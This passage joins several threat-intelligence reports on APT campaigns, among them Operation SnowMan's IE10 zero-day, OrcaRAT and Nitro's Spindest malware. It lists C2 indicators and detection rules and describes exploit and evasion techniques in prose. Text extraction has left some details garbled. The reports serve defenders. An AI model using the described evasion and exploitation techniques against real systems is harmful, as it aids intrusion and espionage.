nameservers as well as connect directly to the IP address 59.125.42.168. +Note that we identified the same C2 IP 59.125.42.168 via our analysis of the malicious Google Code +projects. Specifically, the Google Project at code.google.com/p/tempzz/, which is linked to the project at +code.google.com/p/udom/, issued an encoded command that decoded to 59.125.42.168. +We also identified another related Kaba variant that connected to code.google.com/p/updata-server. This +variant had the following properties: +MD5: 50af349c69ae4dec74bc41c581b82459 +Size: 180600 bytes +Compile Time: 2014-04-01 03:28:31 +Import Hash: f749528b1db6fe5aee61970813c7bc18 +.rdata: 103beeefae47caa0a5265541437b03a1 +.text: e7c4c2445e76bac81125b2a47384d83f +.data: 5216d6e6834913c6cc75f40c8f70cff8 +.rsrc: b195f57cb5e605cb719469492d9fe717 +.reloc: f7d9d69b8d36fee5a63f78cbd3238414 +RT_VERSION: 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9 +This sample was signed with a valid digital certificate from +PIXELPLUS CO., LTD + and had a serial +number of +0f e7 df 6c 4b 9a 33 b8 3d 04 e2 3e 98 a7 7c ce +In addition to sharing the same Import hash of f749528b1db6fe5aee61970813c7bc18 seen in other +samples listed throughout this post, 50af349c69ae4dec74bc41c581b82459 contained a RT_VERSION +resource of 9dd9b7c184069135c23560f8fbaa829adc7af6d2047cf5742b5a1e7c5c923cb9. This same +RT_VERSION was used in a number of other related samples including: +Uses +Hurricane +Electric +7e6c8992026a79c080f88103f6a69d2c h.cppcp[.]comu.cppcp[.]com +52d2d1ab9b84303a585fb81e927b9e01 www.adobe[.]comupdate.adobe[.]com +787c6cf3cb18feeabe4227ec6b19db01 ns.lovechapelumc[.]orgns1.lovechapelumc[.]org NO +Conclusion +These coordinated campaigns demonstrate that APT actors are determined to continue operations. As +computer network defenders increase their capabilities to identify and block these campaigns by +deploying more advanced detection technologies, threat actors will continue to adopt creative evasion +techniques. +We observed the following evasion techniques in these campaigns: +The use of legitimate digital certificates to sign malware +The use of Hurricane Electrics public DNS resolvers to redirect command and control traffic +The use of Google Code to obfuscate the location of command and control servers +While none of these techniques are necessarily new, in combination, they are certainly +both creative and have been observed to be effective. Although the resultant C2 traffic can be +successfully detected and tracked, the fact that the malware appears to beacon to legitimate +domains may lull defenders into a false sense of security. Network defenders should continue to +study the evolution of advanced threat actors, as these adversaries will continue to evolve in pursuit of +their designated objectives. +Related MD5s +17bc9d2a640da75db6cbb66e5898feb1 +eae0391e92a913e757ac78b14a6f079f +434b539489c588db90574a64f9ce781f +7e6c8992026a79c080f88103f6a69d2c +52d2d1ab9b84303a585fb81e927b9e01 +787c6cf3cb18feeabe4227ec6b19db01 +50af349c69ae4dec74bc41c581b82459 +d51050cf98cc723f0173d1c058c12721 +Digital Certificates +MOCOMSYS INC, (03 e5 a0 10 b0 5c 92 87 f8 23 c2 58 5f 54 7b 80) +PIXELPLUS CO., LTD., (0f e7 df 6c 4b 9a 33 b8 3d 04 e2 3e 98 a7 7c ce) +Police Mutual Aid Association (06 55 69 a3 e2 61 40 91 28 a4 0a ff a9 0d 6d 10) +QTI INTERNATIONAL INC (2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9) +Ssangyong Motor Co. (1D 2B C8 46 D1 00 D8 FB 94 FA EA 4B 7B 5F D8 94) +jtc (72 B4 F5 66 7F 69 F5 43 21 A9 40 09 97 4C CC F8) +Footnotes +[1] As of August 4, 2014 Hurricane Electric was no longer returning answers for www.outlook.com or the +other affected domains. +[2] This same encoding algorithm was previously described by Cassidian at +http://blog.cassidiancybersecurity.com/post/2014/01/plugx-some-uncovered-points.html +This entry was posted in Targeted Attack, Threat Research and tagged advanced attack, APT, evasion +techniques, kana, plugx by Ned Moran, Joshua Homan and Mike Scott. Bookmark the permalink. +Operation SnowMan: DeputyDog Actor Compromises US Veterans of +Foreign Wars Website +On February 11, FireEye identified a zero-day exploit (CVE-2014-0322) being served up from the U.S. +Veterans of Foreign Wars + website (vfw[.]org). We believe the attack is a strategic Web compromise +targeting American military personnel amid a paralyzing snowstorm at the U.S. Capitol in the days leading +up to the Presidents Day holiday weekend. Based on infrastructure overlaps and tradecraft similarities, we +believe the actors behind this campaign are associated with two previously identified campaigns +(Operation DeputyDog and Operation Ephemeral Hydra). +This blog post examines the vulnerability and associated attacks, which we have dubbed +Operation +SnowMan. +Exploit/Delivery analysis +After compromising the VFW website, the attackers added an iframe into the beginning of the website +HTML code that loads the attacker +s page in the background. The attacker +s HTML/JavaScript page runs a +Flash object, which orchestrates the remainder of the exploit. The exploit includes calling back to the IE 10 +vulnerability trigger, which is embedded in the JavaScript. Specifically, visitors to the VFW website were +silently redirected through an iframe to the exploit at www.[REDACTED].com/Data/img/img.html. +Mitigation +The exploit targets IE 10 with Adobe Flash. It aborts exploitation if the user is browsing with a different +version of IE or has installed Microsoft +s Experience Mitigation Toolkit (EMET). So installing EMET or +updating to IE 11 prevents this exploit from functioning. +Vulnerability analysis +The vulnerability is a previously unknown use-after-free bug in Microsoft Internet Explorer 10. The +vulnerability allows the attacker to modify one byte of memory at an arbitrary address. The attacker uses +the vulnerability to do the following: +Gain access to memory from Flash ActionScript, bypassing address space layout randomization +(ASLR) +Pivot to a return-oriented programing (ROP) exploit technique to bypass data execution prevention +(DEP) +EMET detection +The attacker uses the Microsoft.XMLDOM ActiveX control to load a one-line XML string containing a file +path to the EMET DLL. Then the exploit code parses the error resulting from the XML load order to +determine whether the load failed because the EMET DLL is not present. The exploit proceeds only if this +check determines that the EMET DLL is not present. +ASLR bypass +Because the vulnerability allows attackers to modify memory to an arbitrary address, the attacker can use +it to bypass ASLR. For example, the attacker corrupts a Flash Vector object and then accesses the +corrupted object from within Flash to access memory. We have discussed this technique and other ASLR +bypass approaches in our blog. One minor difference between the previous approaches and this attack is +the heap spray address, which was changed to 0x1a1b2000 in this exploit. +Code execution +Once the attacker +s code has full memory access through the corrupted Flash Vector object, the code +searches through loaded libraries gadgets by machine code. The attacker then overwrites the vftable +pointer of a flash.Media.Sound() object in memory to point to the pivot and begin ROP. After successful +exploitation, the code repairs the corrupted Flash Vector and flash.Media.Sound to continue execution. +Shellcode analysis +Subsequently, the malicious Flash code downloads a file containing the dropped malware payload. The +beginning of the file is a JPG image; the end of the file (offset 36321) is the payload, encoded with an XOR +key of 0 +95. The attacker appends the payload to the shellcode before pivoting to code control. Then, +when the shellcode is executed, the malware creates files +sqlrenew.txt + and +stream.exe +. The tail of the +image file is decoded, and written to these files. +sqlrenew.txt + is then executed with the LoadLibraryA +Windows API call. +ZxShell payload analysis +As documented above, this exploit dropped an XOR (0 +95) payload that executed a ZxShell backdoor +(MD5: 8455bbb9a210ce603a1b646b0d951bce). The compile date of the payload was 2014-02-11, and the +last modified date of the exploit code was also 2014-02-11. This suggests that this instantiation of the +exploit was very recent and was deployed for this specific strategic Web compromise of the Veterans of +Foreign Wars website. A possible objective in the SnowMan attack is targeting military service members to +steal military intelligence. In addition to retirees, active military personnel use the VFW website. It is +probably no coincidence that Monday, Feb. 17, is a U.S. holiday, and much of the U.S. Capitol shut down +Thursday amid a severe winter storm. +The ZxShell backdoor is a widely used and publicly available tool used by multiple threat actors linked to +cyber espionage operations. This particular variant called back to a command and control server located at +newss[.]effers[.]com. This domain currently resolves to 118.99.60.142. The domain info[.]flnet[.]org also +resolved to this IP address on 2014-02-12. +Infrastructure analysis +The info[.]flnet[.]org domain overlaps with icybin[.]flnet[.]org and book[.]flnet[.]org via the previous +resolutions to the following IP addresses: +58.64.200.178 +58.64.200.179 +103.20.192.4 +First Seen +2013-08-31 +2013-05-02 +2013-08-02 +2013-08-10 +2013-07-15 +2014-01-02 +2013-12-03 +Last Seen +2013-08-31 +2013-08-02 +2013-08-02 +2013-08-10 +2013-07-15 +2014-01-02 +2014-01-02 +CnC Domain +icybin.flnet[.]org 58.64.200.178 +info.flnet[.]org +58.64.200.178 +book.flnet[.]org 58.64.200.178 +info.flnet[.]org +58.64.200.179 +icybin.flnet[.]org 58.64.200.179 +book.flnet[.]org 103.20.192.4 +info.flnet[.]org +103.20.192.4 +We previously observed Gh0stRat samples with the custom packet flag +HTTPS + calling back to +book[.]flnet[.]org and icybin[.]flnet[.]org. The threat actor responsible for Operation DeputyDog also +used the +HTTPS + version of the Gh0st. We also observed another +HTTPS + Gh0st variant connecting to +a related command and control server at me[.]scieron[.]com. +MD5 Hash +CnC Domain +758886e58f9ea2ff22b57cbbb015166e book.flnet[.]org +0294f9280491f85d898ebe471f0fb58e icybin.flnet[.]org +9d20566a327076b7152bbf9ed20292c4 me.scieron[.]com +The me[.]scieron[.]com domain previously resolved to 58.64.199.22. The book[.]flnet[.]org domain also +resolved to another IP in the same subnet 58.64.199.0/24. Specifically, book[.]flnet[.]org previously +resolved to 58.64.199.27. +Others domain seen resolving to this same /24 subnet were dll[.]freshdns[.]org, ali[.]blankchair[.]com, +and cht[.]blankchair[.]com. The domain dll[.]freshdns[.]org resolved to 58.64.199.25. Both +ali[.]blankchair[.]com and cht[.]blankchair[.]com resolved to 58.64.199.22. +First Seen +Last Seen +CnC Domain +2012-11-12 +2012-04-09 +2012-04-09 +2012-11-08 +2012-11-23 +2012-05-29 +2012-11-28 +2012-10-24 +2012-09-18 +2012-11-25 +2012-11-27 +2012-6-28 +me.scieron[.]com +58.64.199.22 +cht.blankchair[.]com 58.64.199.22 +ali.blankchair[.]com 58.64.199.22 +dll.freshdns[.]org +58.64.199.25 +rt.blankchair[.]com 58.64.199.25 +book.flnet[.]org +58.64.199.27 +A number of other related domains resolve to these IPs and other IPs also in this /24 subnet. For the +purposes of this blog, we +ve chosen to focus on those domains and IP that relate to the previously +discussed DeputyDog and Ephemeral Hydra campaigns. +You may recall that dll[.]freshdns[.]org, ali[.]blankchair[.]com and cht[.]blankchair[.]com were all linked +to both Operation DeputyDog and Operation Ephemeral Hydra. Figure 1 illustrates the +infrastructure overlaps and connections we observed between the strategic Web compromise campaign +leveraging the VFW +s website, the DeputyDog, and the Ephemeral Hydra operations. +Figure 1: Ties between Operation SnowMan, DeputyDog, and Ephemeral Hydra +Links to DeputyDog and Ephemeral Hydra +Other tradecraft similarities between the actor(s) responsible for this campaign and the actor(s) +responsible for the DeputyDog/Ephemeral Hydra campaigns include: +The use of zero-day exploits to deliver a remote access Trojan (RAT) +The use of strategic web compromise as a vector to distribute remote access Trojans +The use of a simple single-byte XOR encoded (0 +95) payload obfuscated with a .jpg extension +The use of Gh0stRat with the +HTTPS + packet flag +The use of related command-and-control (CnC) infrastructure during the similar time frames +We observed many similarities from the exploitation side as well. At a high level, this attack and the CVE2013-3163 attack both leveraged a Flash file that orchestrated the exploit, and would call back into IE +JavaScript to trigger an IE flaw. The code within the Flash files from each attack are extremely similar. +They build ROP chains and shellcode the same way, both choose to corrupt a Flash Vector object, have +some identical functions with common typos, and even share the same name. +Conclusion +These actors have previously targeted a number of different industries, including: +U.S. government entities +Japanese firms +Defense industrial base (DIB) companies +Law firms +Information technology (IT) companies +Mining companies +Non-governmental organizations (NGOs) +The proven ability to successfully deploy a number of different private and public RATs using zero-day +exploits against high-profile targets likely indicates that this actor(s) will continue to operate in the mid to +long-term. +This entry was posted in Advanced Malware, Exploits, Targeted Attack, Threat Research, Vulnerabilities +and tagged 0day, zero-day by Darien Kindlund, Dan Caselden, Xiaobo Chen, Ned Moran and Mike Scott. +Bookmark the permalink. +OrcaRAT - A whale of a tale +By Dan Kelly and Tom Lancaster +s every malware analyst +s dream to be handed a sample which is, so far, unnamed by the AV community +- especially when the malware in question may have links to a well-known APT group. +In my line of work I analyse several +unknown + malware samples a week, but often it turns out that they +are simply new variants of existing malware families. Recently I was fortunate enough to be handed +something that not only had a low detection rate but, aside from heuristics, seemed to be relatively +unknown to the top 40 anti-virus companies. +In this post I will walk you through the malware family we +ve dubbed +OrcaRAT +First of all, it is worth pointing out that most of the malware I see on a day-to-day basis is espionage +orientated, and very rarely do the programmers and operators make much effort to cover their tracks. The +use of forged HTTP headers is a common occurrence and simple mistakes within these headers are +frequent. +The malware in question was handed to me by one of our threat intelligence analysts who was hunting +through infrastructure associated with some samples of Comfoo[1] malware and happened across a +malware sample (253a704acd7952677c70e0c2d787791b8359efe2c92a5e77acea028393a85613) he didn +recognise. He immediately took the malware and passed it through first stage analysis, which involves +running the file in a sandbox environment. After this, he handed it over for more in-depth capability +analysis. +The structure +I began by looking over the sandbox report. The first thing that drew my attention was the URI structure. +(A screenshot showing the HTTP headers and URI structure that OrcaRAT produces) +To those of us who are familiar with decoding data, you will notice that the URI string formatting appears +to be a modified version of the Base64 algorithm. +To understand this structure more, we must reverse engineer the functions that generate and then encode +the data. Firstly we begin by analysing the routines that produce the data which is later encoded and sent +in the HTTP URI field. +The very first thing that jumped out when disassembling the malware is the simplicity and cleanliness of +the code. There are also a significant number of Windows Crypto API[2] functions imported by the +malware, so we can assume this indicates that it uses encryption. +(A screenshot showing the functions that are imported by OrcaRAT) +Delving deeper in to the disassembly, we come across the preamble to the URI generation function: +(A screenshot showing the decoding and generation of a string value) +The function above uses Windows crypto API to generate a random number of 6 bytes, then dynamically +builds and appends the word +OrcaKiller + on to the end of this number. In one such example the final +product was "\x61\xBA\xF4\x44\x52\xF1OrcaKiller" (where \x denotes hexadecimal values). +Once this value has been produced, the malware begins constructing the URI. With many pieces of +malware the initial communications that it sends out to its command and control server (known as +beaconing or phoning home) usually include pieces of information about the victim system. OrcaRAT is no +exception. The randomly generated values noted above are actually used to encrypt several pieces of +information that are extracted from the system, and even the key itself is included. +(A screenshot showing an encryption function used by OrcaRAT) +All of the values extracted from the system are encrypted using the RC4[3] algorithm and then base64 +encoded. The RC4 encryption key is derived from an MD5 hash[4] of the randomly generated bytes +concatenated with the +OrcaKiller + string. Once the data has been encrypted it is base64 encoded. Any +forward slashes in the base64 string are replaced with a tilde - pseudo code is shown below. +Once all of the values have been encrypted and formatted the URI has the following structure: +(A screenshot showing the URI structure of OrcaRAT command and control activity) +The campaign ID value is constructed using a method similar to that for the encryption key. +(A screenshot showing the generation of the first hidden string value) +It would appear that the authors did not want anybody to be able to easily see this value. +This now gives us OrcaKiller and wHaLe. It would appear that our adversary has a salty sense of humour. +Command and control +As with all malware, the command and control functions reveal the true nature and intent of the +operators. Up until now we have only determined how the malware communicates with the server. We will +now investigate the mechanisms that the server uses to communicate and interact with the victim. +The command and control routine in OrcaRAT appears to serve two purposes. Interestingly these routines +are split in to two branches. Each branch of command and control activity is determined by the unique +response from the remote server. Command and control takes form of a webpage. Unlike malware +designed by the well-known Comment Crew[5], this group does not hide these commands in HTML +comments, but instead places them in plain view. The first set of commands force the malware to behave +as a simple downloader. +(A screenshot showing OrcaRAT parsing the HTML code behind a webpage) +Upon downloading the webpage from the server the malware looks for specific sets of HTML tags. The +first set are

and the terminating tag

. Once the malware has found these tags it drops in to the +first command and control function. The malware then extracts the payload text between the HTML tags +and runs it through a decryption routine. The same encryption key that is sent in the URI string is used to +decrypt the text. Once the payload text has been decrypted the malware treats this as a binary executable +file, which is then written to the disk and executed. +The second set of HTML tags allows the operator to drop the malware in to a set of remote control +functions. This time the malware searches for the

tag that is terminated by

. Once the payload +text between these tags has been extracted it is then decrypted using the encryption key found in the URI +string. The payload text from this page is much smaller and ultimately points to the command function +that the operator has executed. +(A screenshot showing the structure of the command and control routines within OrcaRAT) +The command and control structure is fairly simplistic but provides the operator with access to the victim +machine +s filesystem and command line, and as such allows the attacker to perform various tasks such as +executing arbitrary commands or uploading and downloading files from the compromised system. +After a command and control message is received, OrcaRAT sends an HTTP POST message back to the +command and control server. Each time that the URI is built it generates a new encryption key, showing +that the command and control server is at least serving dynamic content. Given the command structure +above, it is logical to assume that the command and control server requires an operator to manually issue +specific commands to the victim workstation, with the default command likely being +sleep +Given the information above we can reasonably assume that this malware was most likely designed as a +first stage implant. History has shown that malware designed in this way is usually done so to allow the +operator an initial level of access to the compromised system, usually for surveying the victim and then +deciding whether to deploy a more capable and valuable second stage malware implant. +Detection +Once OrcaRAT has been delivered to a victim system there are a number of ways to detect it. +Firstly we will cover disk detection using Yara. The rule below will detect an OrcaRAT binary executable +that has been written to a compromised machine +s disk. +rule OrcaRAT +meta: +author = +PwC Cyber Threat Operations :: @tlansec" +distribution = "TLP WHITE" +sha1 = "253a704acd7952677c70e0c2d787791b8359efe2c92a5e77acea028393a85613" +strings: +$MZ="MZ" +$apptype1="application/x-ms-application" +$apptype2="application/x-ms-xbap" +$apptype3="application/vnd.ms-xpsdocument" +$apptype4="application/xaml+xml" +$apptype5="application/x-shockwave-flash" +$apptype6="image/pjpeg" +$err1="Set return time error = %d!" +$err2="Set return time success!" +$err3="Quit success!" +condition: +$MZ at 0 and filesize < 500KB and (all of ($apptype*) and 1 of ($err*)) +OrcaRAT can also be detected in two separate ways at the network level using a Snort or Suricata IDS rule. +Detecting malware at different stages of connectivity can be important. By creating signatures with a +nexus to the kill chain[6] we can determine which stage the intrusion has reached. The two signatures +below will indicate whether the intrusion has reached the command and control or action-on phases. +Snort: +alert tcp any any -> any any (msg:"::[PwC CTD]:: - OrcaRAT implant check-in"; +flow:established,from_client; urilen: 67<>170; content:"User-Agent: Mozilla/4.0 (compatible\; +MSIE 8.0\; Windows NT 5.1\; Trident/4.0\; .NET CLR 2.0.50727\; .NET CLR 3.0.04506.30\; +.NET4.0C\; .NET4.0E)"; http_header; content:"GET"; http_method; pcre:"/^\/[A-Za-z0-9+~=] +{14,18}\/[A-Za-z0-9+~=]{33,38}\/[A-Za-z0-9+~=]{6,9}\/[A-Za-z0-9+~=]{5,50}\/[A-Za-z09+~=]{5,50}$/U"; sid:YOUR_SID; rev:1;) +alert tcp any any -> any any (msg:"::[PwC CTD]:: - OrcaRAT implant C2 confirmation response"; +flow:established,from_client; urilen: 67<>170; content:"User-Agent: Mozilla/4.0 (compatible\; +MSIE 8.0\; Windows NT 5.1\; Trident/4.0\; .NET CLR 2.0.50727\; .NET CLR 3.0.04506.30\; +.NET4.0C\; .NET4.0E)"; http_header; content:"POST"; http_method; pcre:"/^\/[A-Za-z0-9+~=] +{14,18}\/[A-Za-z0-9+~=]{33,38}\/[A-Za-z0-9+~=]{6,9}\/[A-Za-z0-9+~=]{5,50}\/[A-Za-z09+~=]{5,50}$/U"; sid:YOUR_SID; rev:1;) +Suricata: +alert http any any -> any any (msg:"::[PwC CTD]:: - OrcaRAT implant check-in"; +flow:established,from_client; urilen: 67<>170; content:" Mozilla/4.0 (compatible\; MSIE 8.0\; +Windows NT 5.1\; Trident/4.0\; .NET CLR 2.0.50727\; .NET CLR 3.0.04506.30\; .NET4.0C\; +.NET4.0E)"; http_user_agent; content:"GET"; http_method; pcre:"/^\/[A-Za-z0-9+~=] +{14,18}\/[A-Za-z0-9+~=]{33,38}\/[A-Za-z0-9+~=]{6,9}\/[A-Za-z0-9+~=]{5,50}\/[A-Za-z09+~=]{5,50}$/U"; sid:YOUR_SID; rev:1;) +alert http any any -> any any (msg:"::[PwC CTD]:: - OrcaRAT implant C2 confirmation response"; +flow:established,from_client; urilen: 67<>170; content:" Mozilla/4.0 (compatible\; MSIE 8.0\; +Windows NT 5.1\; Trident/4.0\; .NET CLR 2.0.50727\; .NET CLR 3.0.04506.30\; .NET4.0C\; +.NET4.0E)"; http_user_agent; content:"POST"; http_method; pcre:"/^\/[A-Za-z0-9+~=] +{14,18}\/[A-Za-z0-9+~=]{33,38}\/[A-Za-z0-9+~=]{6,9}\/[A-Za-z0-9+~=]{5,50}\/[A-Za-z09+~=]{5,50}$/U"; sid:YOUR_SID; rev:1;) +Appendix A: Samples of Orca RAT: +Hash +07b40312047f204a2c1fbd94fba6f53b +adda.lengendport.com +f6456b115e325b612e0d144c8090720f +tsl.gettrials.com +139b8e1b665bb9237ec51ec4bef22f58 +auty.organiccrap.com +Appendix B: Related indicators +Indicator +Type +11.38.64.251 +IP Address +123.120.115.77 +IP Address +123.120.99.228 +IP Address +142.0.134.20 +IP Address +147.96.68.184 +IP Address +176.31.24.182 +IP Address +176.31.24.184 +IP Address +190.114.241.170 +IP Address +200.78.201.24 +IP Address +202.124.151.94 +IP Address +202.2.108.142 +IP Address +203.146.251.11 +IP Address +204.152.209.74 +IP Address +213.147.54.170 +IP Address +23.19.39.19 +IP Address +58.71.158.21 +IP Address +62.73.174.134 +IP Address +71.183.67.163 +IP Address +74.116.128.15 +IP Address +81.218.149.207 +IP Address +84c68f2d2dd569c4620dabcecd477e69 +Hash +8fbc8c7d62a41b6513603c4051a3ee7b +Hash +91.198.50.31 +IP Address +adda.lengendport.com +Domain +affisensors.com +Domain +analysis.ittecbbs.com +Domain +at.acmetoy.com +Domain +aucy.affisensors.com +Domain +auty.organiccrap.com +Domain +bbs.dynssl.com +Domain +bbs.serveuser.com +Domain +bbslab.acmetoy.com +Domain +bbslab.lflink.com +Domain +cdna.acmetoy.com +Domain +cune.lengendport.com +Domain +cure.yourtrap.com +Domain +dasheng.lonidc.com +Domain +dns.affisensors.com +Domain +edu.authorizeddns.org +Domain +edu.onmypc.org +Domain +fee0e6b8157099ad09380a94b7cbbea4 +Hash +ftp.bbs.dynssl.com +Domain +ftp.bbs.serveuser.com +Domain +ftp.bbslab.acmetoy.com +Domain +ftp.edu.authorizeddns.org +Domain +ftp.edu.onmypc.org +Domain +ftp.lucy.justdied.com +Domain +ftp.nuac.jkub.com +Domain +ftp.osk.lflink.com +Domain +ftp.reg.dsmtp.com +Domain +ftp.tt0320.portrelay.com +Domain +home.affisensors.com +Domain +hot.mrface.com +Domain +info.affisensors.com +Domain +jucy.wikaba.com +Domain +jutty.organiccrap.com +Domain +lengendport.com +Domain +lucy.justdied.com +Domain +newtect.ddns.us +Domain +nuac.jkub.com +Domain +nunok.ninth.biz +Domain +osk.lflink.com +Domain +philipine.gnway.net +Domain +pure.mypop3.org +Domain +reg.dsmtp.com +Domain +tt0320.portrelay.com +Domain +venus.gr8domain.biz +Domain +www.bbs.dynssl.com +Domain +www.bbs.serveuser.com +Domain +www.bbslab.acmetoy.com +Domain +www.edu.authorizeddns.org +Domain +www.edu.onmypc.org +Domain +www.fgtr.info +Domain +www.hot.mrface.com +Domain +www.ktry.info +Domain +www.lucy.justdied.com +Domain +www.osk.lflink.com +Domain +www.reg.dsmtp.com +Domain +www.tt0320.portrelay.com +Domain +[1] http://www.secureworks.com/cyber-threat-intelligence/threats/secrets-of-the-comfoo-masters/ +[2] http://msdn.microsoft.com/en-gb/library/windows/desktop/aa380255(v=vs.85).aspx +[3] http://en.wikipedia.org/wiki/RC4 +[4] http://en.wikipedia.org/wiki/MD5 +[5] http://intelreport.mandiant.com/Mandiant_APT1_Report.pdf +[6] http://www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-WhitePaper-Intel-Driven-Defense.pdf +New Indicators of Compromise for APT Group Nitro Uncovered +In mid-July of this year, we noticed yet another legitimate website had been compromised by APT actors +and was serving malware. In this case, it was a group commonly referred to as +Nitro, + which was coined +by Symantec in its 2011 whitepaper. +As we dug deeper, we found additional compromised legitimate websites and malware from the same +group back through March of this year. In most instances, the malware is one commonly referred to as +Spindest, + though we also found +PCClient + and +Farfli + variants in use by the group. We don +t have +enough data to say for certain that all of the malware in this blog was delivered via compromised +legitimate websites. +Historically, Nitro is known for targeted spear phishing campaigns and using Poison Ivy malware, which +was not seen in these attacks. Since at least 2013, Nitro appears to have somewhat modified their +malware and delivery methods to include Spindest and legitimate compromised websites, as reported by +Cyber Squared +s TCIRT. Our findings indicate they are continuing to evolve with the addition of PCClient +and Farfli variants. The Maltego screenshot below shows the activity we describe in this blog. +These events impacted at least the following industries, across four waves: +A US based IT Solutions provider; +The European office of a major, US based commercial vendor of space imagery and geospatial +content; +A European leader in power technologies and automation for utilities and industry; +A US based provider of medical and dental imaging systems and IT solutions. +In July, Nitro compromised a South Korean clothing and accessories manufacturer +s website to serve +malware commonly referred to as +Spindest. + Of all the samples we +ve tied to this activity so far noted in +this blog, this is the only one configured to connect directly to an IP address for Command and Control +(C2). This IP address has been in use by this group for some time, which is interesting since they have +evolved other components of their kill chain over time to ensure malware delivery, but oddly not altered +their C2 infrastructure. It is simple for companies to block any outbound traffic to this IP, which would +negate the effort Nitro put into successfully delivering the malware. +37 AV vendors within VirusTotal properly identify it, and the PE timestamp shows the day before we saw +it. In addition, the following three samples were found roughly a week apart from each other, possibly +indicating the timing of the waves of activity. +Table 1 +SHA256 +0a1103bc90725d4665b932f88e81d39eafa5823b0de3ab146e2d4548b7da79a0 +7915aabb2e66ff14841e4ef0fbff7486 +File Name +update.exe +File Size +106496 +First Seen +2014-07-24 11:54:02 +C2 IP +223.25.233.248 +The next sample we found is commonly known as PCClient, which is not malware previously tied to this +group. We discovered this, and many of the following samples, through historic IP resolution overlap +between the same domains alternately resolving to either the 223.25.233.248 or 196.45.144.12. The +second IP has also not been reported as tied to this group before. However, this shifting of IP resolutions +back and forth indicates Nitro is in control of these domains. It also makes is fairly easy for any Infosec +team to reach the same conclusion we did, which again negates their use both of a previously unreported +domain and IP for C2, as well as a new family of malware. 25 AV vendors within VirusTotal properly +classify this sample as malware. Its PE timestamp was 8 July, almost a week prior when we first saw it. +Table 2 +SHA256 +8aef92a986568ba31729269efa31a2488f35920d136ab41cb6fce55fd8e0b4b7 +7522baef20df95eeeeafdf4efe3aac3c +File Name +lsm.exe +File Size +65536 +First Seen +2014-07-15 11:48:33 +C2 URL +xenserver.ddns[.]net +Resolution +196.45.144.12 +The next sample was another Spindest variant and had the same timestamp as the aforementioned +PcClient sample. In addition, Nitro chose to use the same C2 for this sample, making it easy to both find +and tie to the group. 41 AV vendors within VirusTotal properly classify this sample as malware. +Table 3 +SHA256 +995bc16a5c2c212b57ba00c2376ac57c8032c7f2b1d521f995a5e1d49066d64d +6527ba8baab0f86b0ffb6178247772c4 +File Name +install_reader11_en_aaa_aih.exe +File Type +File Size +81920 +First Seen +2014-07-09 16:31:26 +C2 URL +xenserver.ddns[.]net +Resolution +196.45.144.12 +The next wave of activity we found took place in mid-May. Both samples were Spindest variants with the +same PE timestamp of 15 May. While neither MD5s for C2 match, the aforementioned link to a post by +Cyber Squared +s TCIRT did document Nitro using Spindest variants with the same file name starting late +December last year. In that case they used the historic C2 IP we note in Table 1 in this blog. 34 AV vendors +within VirusTotal properly classify the first sample as malware, and 40 AV Vendors the second sample. +Table 4 +SHA256 +e7f2af8c48f837da57000c068368d77bc9b06eba1e077edfab58df6aa2ea40ec +271e6a4d45c2817f86148ca413f97604 +File Name +mdm.exe +File Size +118784 +First Seen +2014-05-20 08:43:15 +C2 URL +zipoo.redirectme[.]net +Resolution +196.45.144.12 +Table 5 +SHA256 +e601da16f923b33465dbafbff9d47195e8fc50099fd0581a16a1745bf890afb6 +be765cd5723e4366d35172aaf13fad44 +File Name +CitrixReceiverWeb.exe +File Size +135168 +First Seen +2014-05-15 16:34:10 +C2 URL +zipoo.redirectme[.]net +Resolution +196.45.144.12 +The malware dropped was configured to use good.myftp[.]org as the C2 URL, and the IP resolution was +223.25.233.248. Both of these are known Nitro Indicators of Compromise (IOCs). In this case, the +malware was a Farfli variant, again not a malware previously tied to this group. 39 AV vendors within +VirusTotal properly identify the file as malware. The PE timestamp on the file was 1 April, about two +weeks before we saw the file. Continuing the activity, we discovered the actors had compromised a +legitimate website belonging to an international technology company that provides Software +Configuration and Change Management (SCCM) solutions in mid-May. (It is a well regarded company and +partners with large companies such as Microsoft.) +Table 6 +SHA256 +184c083e839451c2ab0de7a89aa801dc0458e2bd1fe79e60f35c26d92a0dbf6a +ec519d709c0582346741fe0094208216 +File Name +update.exe +File Size +159744 +First Seen +2014-04-15 01:13:14 +C2 URL +good.myftp[.]org +Resolution +223.25.233.248 +The final sample, from mid-March, was also hosted on a compromised legitimate website, this time a +small, US based IT company. The IP resolved by the C2 URL was changed two days after we saw this file +to overlap with good.myftp[.]org for a month before returning the below resolution. The filename matches +that of the sample in Table 5, which had a very similar third level C2 domain and the same IP resolution. +This is also a Spindest variant with a PE timestamp of the same day we saw it. 39 AV vendors within +VirusTotal properly identify the file as malware. +Table 7 +SHA256 +ffbddfb536e8e604c880ec977d06f804a500fc0396899bd2c195fb1f5b74207a +a3b2e34973691ad320b70248bd67fbd2 +File Name +CitrixReceiverWeb.exe +File Size +192512 +First Seen +2014-03-12 06:58:22 +C2 URL +zip.redirectme[.]net +Resolution +196.45.144.12 +As this post and previous cited research show, APT groups such as Nitro will continue to evolve their +techniques within the kill chain to avoid detection. However, they also demonstrate the value of tracking +these threats over time, as this allowed us to uncover and properly attribute the new IOCs because Nitro +was still re-using old C2 infrastructure with their new malware. +For Palo Alto Networks customers, all of these files were properly identified by WildFire as malware and +all of the C2 domains are labeled as threats in both Threat Prevention and URL Filtering systems. +Pitty Tiger Group +The Eye of the Tiger +Credits: +Ivan FONTARENSKY +Malware Research +Fabien PERIGAUD +Reverse Engineering +Ronan MOUCHOUX +Threat Intelligence +Cedric PERNET +Threat Intelligence +David BIZEUL +Head of CSIRT +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 1/58 +Operation Pitty Tiger +The Eye of the Tiger +EXECUTIVE SUMMARY +Operation Pitty Tiger +The Eye of the Tiger +Cyber espionage has been a hot topic through the last years. Computer attacks known as +(Advanced Persistent Threat) have become widely reported and emphasized by the media, +damages are now considered as real and strategic trends are moving in cyber defense. +AIRBUS Defence & Space + CyberSecurity unit responds to such attacks for its customers every +day, developing a complete range of solutions. +Today, we decided to release publicly information on a specific group of APT attackers known as +Pitty Tiger +. This information comes directly from investigations led by our Threat Intelligence. +Pitty Tiger is a group of attackers that have been active since at least 2011. They have targeted +private companies in several sectors, such as defense and telecommunications, but also at least +one government. +We have been able to track down this group of attackers and can provide detailed information +about them. We were able to collect and reveal their +malware arsenal +. We also 